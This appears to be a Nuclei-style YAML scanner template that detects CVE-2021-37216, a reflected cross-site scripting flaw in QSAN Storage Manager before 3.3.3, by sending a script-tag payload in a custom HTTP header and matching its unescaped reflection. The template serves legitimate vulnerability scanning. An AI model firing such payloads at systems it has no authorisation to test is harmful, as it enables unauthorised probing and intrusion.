id: CVE-2021-37216

info:
  name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability.  Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
  remediation: |
    Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
  reference:
    - https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37216
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42814
    cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: qsan
    product: xn8024r_firmware
  tags: cve,cve2021,xss,qsan,storage

http:
  - method: GET
    path:
      - "{{BaseURL}}/http_header.php"

    headers:
      X-Trigger-XSS: "<script>alert(1)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(header), 'x-xss-protection')"

      - type: word
        part: body
        words:
          - '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'

      - type: word
        part: header
        words:
          - "text/html"